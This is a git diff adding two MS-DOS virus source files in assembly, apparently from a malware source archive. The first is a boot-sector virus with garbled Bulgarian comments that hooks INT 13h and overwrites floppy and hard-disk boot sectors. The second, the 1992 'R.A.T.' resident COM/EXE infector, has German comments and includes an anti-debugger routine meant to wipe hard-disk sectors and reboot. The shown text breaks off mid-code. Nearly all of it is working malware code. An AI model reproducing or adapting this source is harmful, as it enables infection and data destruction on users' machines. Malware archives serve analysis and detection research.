diff --git a/MSDOS/Virus.MSDOS.Unknown.xpart.asm b/MSDOS/Virus.MSDOS.Unknown.xpart.asm new file mode 100644 index 00000000..59b31564 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.xpart.asm @@ -0,0 +1,241 @@ + jmp far ptr loc_2 ;*(07C0:0005) + jmp loc_8 ; (00A1) +data_27 db 0 +data_28 dd 0F000EC59h +data_29 dd 9F8000E4h +data_30 dd 07C00h + +;----------------------------------------------------------------------------- +; ‚µ®€­  ²®·ª  ­  INT 13h +;----------------------------------------------------------------------------- + + push ds + push ax + cmp ah,2 ; €ª® Ž³­ª¶š¿²  ¥ ¯®-¬ «ª  ®² + jb loc_3 ; 2 š«š ¯®-£®«¿¬  š«š ° ¢­  + cmp ah,4 ; ­  4 š§¯º«­¿¢  ­ ¯°° ¢® INT 13h + jae loc_3 + or dl,dl ; “±²°®š±²¢®²® ¥ A ? + jnz loc_3 + xor ax,ax ; Zero register + mov ds,ax + mov al,byte ptr ds:[43Fh] ; °®¢¥°¿¢  € «š ¬®²®°  ­  + test al,1 ; A ¥ ¢ª«Ÿ·¥­ + jnz loc_3 ; Jump if not zero + call sub_1 ; Ž¯š² €  § ° §¿¢  +loc_3: + pop ax + pop ds + jmp cs:data_28 ; (6B8E:0009=0EC59h) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + push bx + push cx + push dx ; ‡ ¯ §¢  °¥£š±²°š²¥ + push es + push si + push di + mov si,4 +loc_4: + mov ax,201h + push cs + pop es + mov bx,200h + xor cx,cx ; Zero register + mov dx,cx + inc cx + pushf + call cs:data_28 ; —¥²¥ BOOT ±¥ª²®°  + jnc loc_5 ; Jump if carry=0 + xor ax,ax ; °š £°¥žª  °¥ª «š¡°š°  + pushf ; ³±²°®š±²¢®²® + call cs:data_28 ; (6B8E:0009=0EC59h) + dec si + jnz loc_4 ; ° ¢š 4 ®¯š²  + jmp short loc_7 ; ˆ§µ®€ + nop +loc_5: + xor si,si ; Zero register + mov di,200h + cld ; Clear direction + push cs + pop ds + lodsw ; °®¢¥°¿¢  € «š ¥ § ° §¥­ + cmp ax,[di] ; ¯°®·¥²¥­š¿ €š±ª + jne loc_6 + lodsw + cmp ax,[di+2] + je loc_7 ; €ª® ¥ š§«š§  +loc_6: + mov ax,301h + mov bx,200h ; °¥¬¥±²¢  BOOT + mov cl,3 + mov dh,1 + pushf + call cs:data_28 + jc loc_7 ; Jump if carry Set + mov ax,301h + xor bx,bx ; ‡ ¯š±¢  ¢š°³±  + mov cl,1 + xor dx,dx + pushf + call cs:data_28 +loc_7: + pop di + pop si + pop es ; ‚º§±² ­®¢¿¢  °¥£š±²°š²¥ + pop dx + pop cx + pop bx + retn +sub_1 endp + +loc_8: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; + mov ax,word ptr ds:[4Ch] ; ®±² ¢¿ ¢ AX ¢¥ª²®°  ­  INT 13H + mov word ptr ds:[7C09h],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ 9h + mov ax,word ptr ds:[4Eh] ; ‚§¥¬  ±¥£¬¥­²  ­  INT 13H + mov word ptr ds:[7C0Bh],ax ; ‡ ¯ §¢  £® ­  ®²¬¥±²¢ ­¥ Bh + mov ax,word ptr ds:[413h] ;  ¬ «¿¢  ­ «š·­ ²  ¯ ¬¥² ± 1K + dec ax + dec ax + mov word ptr ds:[413h],ax + mov cl,6 + shl ax,cl + mov es,ax ; ‡ °¥Š€  ¢ ES ­ ©-¢š±®ªš¿  €°¥± + mov word ptr ds:[7C0Fh],ax ; ­  ª®©²® ±¥ ¯°¥¬¥±²¢  + mov ax,15h + mov word ptr ds:[4Ch],ax ; INT 13H ‘Ž—ˆ Ž’Œ…‘’‚€… 15H Ž’ + mov word ptr ds:[4Eh],es ; Ž—€‹Ž’Ž Œ“ + mov cx,1B8h + push cs ;CS = 7C0h = DS + pop ds + xor si,si + mov di,si + cld + rep movsb ; °¥±²¢  1B8h ¡ ©²  + jmp cs:data_29 ; °¥µ®€ ­  ±«¥€¢ ¹ ²  š­±²°³ª¶š¿ + mov ax,0 + int 13h ; ¥ª «š¡°š°  €š±ª  + + xor ax,ax ; Zero register + mov es,ax ; ES = AX = 00h + mov ax,201h ; “±² ­®¢¿¢  ¯ ° ¬¥²°š §  + mov bx,7C00h ; § °¥Š€ ­¥ ­  BOOT + cmp cs:data_27,0 ; °®¢¥°¿¢  Ž« £ §  ³±²°®š±²¢® + je loc_9 ; °¥µ®€ ¯°š Flopy disk + mov cx,7 + mov dx,80h + int 13h ; ‡ °¥Š€  BOOT + + jmp short loc_12 ; (014E) + nop +loc_9: + mov cx,3 + mov dx,100h + int 13h ; ‡ °¥Š€  BOOT + + jc loc_12 ; Jump if carry Set + test byte ptr es:[46Ch],7 ; °®¢¥°¿¢  € «š €  € €¥ + jnz loc_11 ; ±º®¡¹¥­š¥ + mov si,189h ; + push cs + pop ds +loc_10: + lodsb ; ’º°±š ª° ¿² ­  ±²°š­£  + or al,al + jz loc_11 ; €ª® ­¥ ¥ ª° ¿ š§¢¥Š€  ±š¬¢®« + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_10 ; (011D) +loc_11: + push cs + pop es + mov ax,201h ; Ž¯š²¢  ±¥ €  ·¥²¥ ®² ²¢º°€ €š±ª + mov bx,200h ; ª ²® ¯®¬¥±²¢  ¯°®·¥²¥­®²® ®² + mov cl,1 ; ®²¬¥±²¢ ­¥ 200h + mov dx,80h + int 13h ; Disk dl=drive #: ah=func a2h + ; read sectors to memory es:bx + jc loc_12 ; €ª® £°¥žª  ? -> ˆ§µ®€ + push cs + pop ds + mov si,200h + mov di,0 + lodsw ; °®¢¥°¿¢  € «š ±º¢¯ €  ± ­ · «®²® + cmp ax,[di] ; ­  ¢š°³±  + jne loc_13 ; €ª® ­¥ ¯°¥µ®€ §  § ° §¿¢ ­¥ + lodsw + cmp ax,[di+2] + jne loc_13 +loc_12: + mov cs:data_27,0 ; (6B8E:0008=0) + jmp cs:data_30 ; ˆ§¯º«­¿¢  BOOT +loc_13: + mov cs:data_27,2 ; ®±² ¢¿ ³ª § ²¥« ²¢º°€ €š±ª + mov ax,301h + mov bx,200h ; °¥¬¥±²¢  BOOT ¢ ±¥ª²®° 7 + mov cx,7 ; ±²° ­  0 + mov dx,80h + int 13h + + jc loc_12 ; °š £°¥žª  š§¯º«­¿¢  BOOT + push cs + pop ds + push cs + pop es + mov si,3BEh ; Œ¥±²š partition table + mov di,1BEh + mov cx,242h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + + mov ax,301h + xor bx,bx ; ‡ ¯š±¢  ± ¬š¿² ¢š°³± + inc cl + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + jmp short loc_12 ; Ž²š¢  €  š§¯š«­¿¢  BOOT + +;------------------------------------------------------------------------------------------ +; Ž² ²³ª ­ ² ²ª ±  ²¥ª±²®¢¥ +;------------------------------------------------------------------------------------------ + + pop es + pop cx + db 6Fh + jnz $+74h ; Jump if not zero + and [bx+si+43h],dl + and [bx+di+73h],ch + and [bp+6Fh],ch + ja $+22h ; Jump if above + push bx + jz $+71h ; Jump if zero + db 6Eh + db 65h + db 64h + and [bx],ax + or ax,0A0Ah + add [si+45h],cl + inc di + inc cx + dec sp + dec cx + push bx + inc bp + xor al,[bx+di] + add al,32h ; '2' + add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0) + add ax,132h + db 72 dup (0) + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.xph_1100.asm b/MSDOS/Virus.MSDOS.Unknown.xph_1100.asm new file mode 100644 index 00000000..95d93b61 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.xph_1100.asm @@ -0,0 +1,928 @@ + TITLE R.A.T. [R]iots [A]gainst [T]echnology !! + +;(c) 1992 by the Priest und DR. ET. + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Variablen-Vereinbarungen: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +ANZBYTES EQU VIR_END-VIRUS ;Ä¿ +; ÚÄÙ ÀÄ¿ ³ +; Ende des Virus Start des Virus ³ +;  +; L„nge von [R].[A].[T]., Anzahl Bytes zwischen VIR_END und VIRUS +; +FAKTOR EQU 100H+8 ;ÄÄ> Anpassungsfaktor, relativ zur Adresse Null +; ÀÄ Programm-Offset +; ÚÄ> Maximale gr”sse der zu... +MAXGR EQU 0FFFFH-(ANZBYTES+100H+20H) ;ÄÙ ...infizierenden Dateien +; Offset 100H ÄÄÙ ³ +; Stack ÄÄÙ +; +BUFSIZE EQU IMMUN-VIR_END ;ÄÄ> Gr”áe des Ausgelagerten RAM +; +MEM_ALLOC EQU (ANZBYTES+BUFSIZE)/10H+1 ;ÄÄ> In Paragraphen zu 16 Bytes +;  +; ÀÄ L„nge des residenten Virus +; +MCB_PSP EQU 1 ;ÄÄ> Zeiger auf den zum Prog geh”renden PSP +MCB_SIZE EQU 3 ;ÄÄ> L„nge des zum MCB geh”renden Speichers +;  +; ÀÄ Alles Zeiger auf die verschiedenen MCB-Eintr„ge... +; +PSP_MEM EQU 2 ;ÄÄ> Beinhaltet (im PSP) die Endadresse des durch +; das Programm belegten Speichers! +; +TNT_WORD EQU "sM" ;ÄÄ> TNT- und CPAV-Immun-Kenn-Bytes ("Ms"Dos). +ID_WORD EQU "Vi" ;ÄÄ> Kenn-Bytes des "Vi"rus. + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º PUSHALL: Regs auf dem Stack sichern: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +PUSHALL MACRO ;Alle REGs auf dem STACK sichern + + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH DI + PUSH SI + PUSH BP + + ENDM + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º POPALL: Reg vom Stack holen, gepushten Regs restaurieren º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +POPALL MACRO ;Alle REGs vom STACK zurckholen + + POP BP + POP SI + POP DI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + POPF + + ENDM + +;============================================================================== + +CODE SEGMENT PARA 'CODE' + +ASSUME CS:CODE, DS:CODE, ES:CODE + +ORG 100H + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Infiziertes Host-(Vor-)programm º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +START: JMP VIRUS ;Sprung zum Virus + NOP ;Mach die 3 BYTES voll + MOV AX,4C00H ;...dann das + INT 21H ;Prog beenden! + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Start des Virus-Codes: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ OFFSET des Virus feststellen, SEGMENT-Register setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +VIRUS: CALL IP_TEST ;IP herausfinden, jetzt auf dem STACK! +IP_TEST: POP BP ;jetzt IP in + SUB BP,3 ; auf den Anfang des Virus... + + PUSH DS ; sichern (und somit auch !!!) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Debugger-Test: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + XOR AX,AX ; auf... + MOV DS,AX ;...NULL setzen + LES BX,DS:[4] ; und mit Vektor von INT 1 + CMP BYTE PTR ES:[BX],0CFH ;Zeigt der Vektor auf einen IRET? + JZ NO_BUG ;NEIN --> NO_BUG! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Debugger ist gerade aktiv, tod der FAT, und dann nen Reset! ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV BYTE PTR ES:[BX],0CFH ;INT 1 erst mal auf nen IRET! + MOV AX,0380H ;Ersten... + MOV DX,0080H ;...128 Sektoren... + MOV CX,0001H ;der Festplatte 1... + ;INT 13H ;...berschreiben + MOV AX,0381H ;Und die 2. Platte... + ;INT 13H ;...auch noch! + + JMP DWORD PTR DS:[19H*4] ;JMP zur RESET-Routine (INT 19H) ! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ SEG-REGs + Flags setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +NO_BUG: PUSH CS ; und auf setzen: + POP DS ;<-- (s.o.) + PUSH CS ;<-- (s.o.) + POP ES ;<-- (s.o.) + + CLD ;Aufsteigend (Stringmanipulation) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ COM- oder EXE-Strategie: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP BYTE PTR CS:[OFFSET COMEXE-FAKTOR+BP],1 ;COM oder EXE zum beenden + JZ EXE_STRT ;--> EXE-Konform starten + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ COM: Start-BYTES des Hostprogs restaurieren, rcksprung setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV WORD PTR CS:[OFFSET HOST_SEG-FAKTOR+BP],CS ;SEG auf + + MOV SI,OFFSET PUFFER-FAKTOR ;Quelle + ADD SI,BP ;OFS anpassen + MOV DI,100H ;Ziel + MOV CX,3 ;3 Durchl„ufe + REP MOVSB ;Kopieren! + JMP TEST_VIR ;--> TEST_VIR + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ EXE: Rcksprung zum Host vorbereiten: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +EXE_STRT: MOV AX,CS ;Aktuelles +EXE_SEG: SUB AX,0 ;Rcksprung vorbereiten (SEG) + MOV CS:[HOST_SEG-FAKTOR],AX ;Differnez zw. Virus- und Host- + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ T E S T : Schon installiert? ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +TEST_VIR: MOV DX,ID_WORD ;ID_WORD in + MOV AH,30H ;DOS Versionsnummer ermitteln + INT 21H ;Prf-Int aufrufen + INC DX ;Erh”hen...Installiert? + JNZ MEM_TEST ;NEIN --> MEM_TEST +F_ENDE: JMP ENDE ;JA --> ENDE + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Resident MACHEN des Virus º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ + +MEM_TEST: MOV AH,48H ;RAM-Speicher reservieren + MOV BX,MEM_ALLOC ;Ben”tigte gr”áe... + INT 21H ; --> O.K. ?... (dann SEG in ) + JNC ALLOC_OK ;JAAA --> MEM_ALLOC + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Vom HOST-Programm Speicher klauen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + POP AX ; vom STACK in + PUSH AX ; wieder sichern + DEC AX ; auf den MCB... + MOV ES,AX ;...zeigen lassen + MOV BX,WORD PTR ES:[MCB_SIZE] ;Gr”áe des Speicher-Blocks ermitteln + SUB BX,MEM_ALLOC+1 ;Speicher weniger MEM_ALLOC + + POP ES ; wieder auf... + PUSH ES ;... setzen und wieder sichern + MOV AH,4AH ;Gr”áe eines Speicherbereiches „ndern + INT 21H ;=neue Gr”áe / =SEG des RAM-Blocks + JC F_ENDE ;Geht nich --> ENDE + + MOV AH,48H ;RAM-Speicher reservieren + MOV BX,MEM_ALLOC ;Ben”tigte gr”áe... + INT 21H ; --> O.K. ?... (dann SEG in ) + JC ENDE ;Schade --> ENDE + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ PSP-Eintrag (verfgbarer Speicher) des Hosts aktualisieren: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +ALLOC_OK: SUB WORD PTR ES:[PSP_MEM],MEM_ALLOC+1 ;belegten Speicher minus Virus + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ SEG-Adr des reservierten Speichers in ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV ES,AX ; auf den reservierten Speicher- + ;bereich (Funktion 48H / INT 21H) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Virus in den SPEICHER kopieren: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV SI,BP ;Quelle, auf den Anfang des Virus! [DS:SI] + XOR DI,DI ;Ziel (gerade reservierter MCB) [ES:DI] + MOV CX,ANZBYTES ;ANZBYTES Durchl„ufe! + REP MOVSB ;Kopieren! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Speicher als belegt kennzeichnen, Owner (SEG-Adr des zugeh”rigen PSP): 8 ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + DEC AX ;=Reservierter Speicher, jetzt MCB + MOV DS,AX ; zeigt auf MCB vom allocierten RAM + MOV WORD PTR DS:[MCB_PSP],8 ;Speicher als belegt gekennzeichnet + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ AKTIV-Flag (Byte) auf NICHT AKTIV!!! ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV BYTE PTR ES:[OFFSET AKTIV-FAKTOR],0 ;Aktiv-FLAG auf Null!!! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Vektoren umbiegen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + PUSH ES ; auf den neu reservierten... + POP DS ;...Speicher setzen... (!!!) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Alten INT 13H merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,3513H ;Vektor von INT 21 lesen + INT 21H + MOV WORD PTR DS:[OFFSET ALT13-FAKTOR],BX ;Alten Vektor sichern + MOV WORD PTR DS:[OFFSET ALT13-FAKTOR+2],ES ;(--> OFS und SEG) + 